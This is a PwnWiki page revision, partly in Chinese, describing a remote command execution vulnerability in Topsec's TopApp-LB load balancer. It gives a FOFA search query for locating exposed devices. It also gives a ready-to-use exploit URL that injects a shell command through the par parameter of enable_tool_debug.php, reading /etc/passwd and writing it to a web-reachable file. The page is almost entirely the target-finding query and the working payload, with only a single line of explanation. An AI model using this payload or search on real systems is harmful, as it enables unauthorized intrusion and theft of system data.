Difference between revisions of "天融信負載均衡TopApp-LB enable tool debug.php 遠程命令執行漏洞"
From PwnWiki
(Created page with "<languages /> ==FOFA== <pre> app="天融信-TopApp-LB-负载均衡系统" </pre> ==Payload== <translate> 設置var=0，tool=1，再進行命令拼接造成遠程命令執行...") |
(Marked this version for translation) |
||
| Line 8: | Line 8: | ||
==Payload== | ==Payload== | ||
<translate> | <translate> | ||
| + | <!--T:1--> | ||
設置var=0，tool=1，再進行命令拼接造成遠程命令執行: | 設置var=0，tool=1，再進行命令拼接造成遠程命令執行: | ||
</translate> | </translate> | ||
Latest revision as of 12:02, 29 June 2021
FOFA
app="天融信-TopApp-LB-负载均衡系统"
Payload
設置var=0，tool=1，再進行命令拼接造成遠程命令執行:
/acc/tools/enable_tool_debug.php?val=0&tool=1&par=127.0.0.1' | cat /etc/passwd > ../../test.txt |'
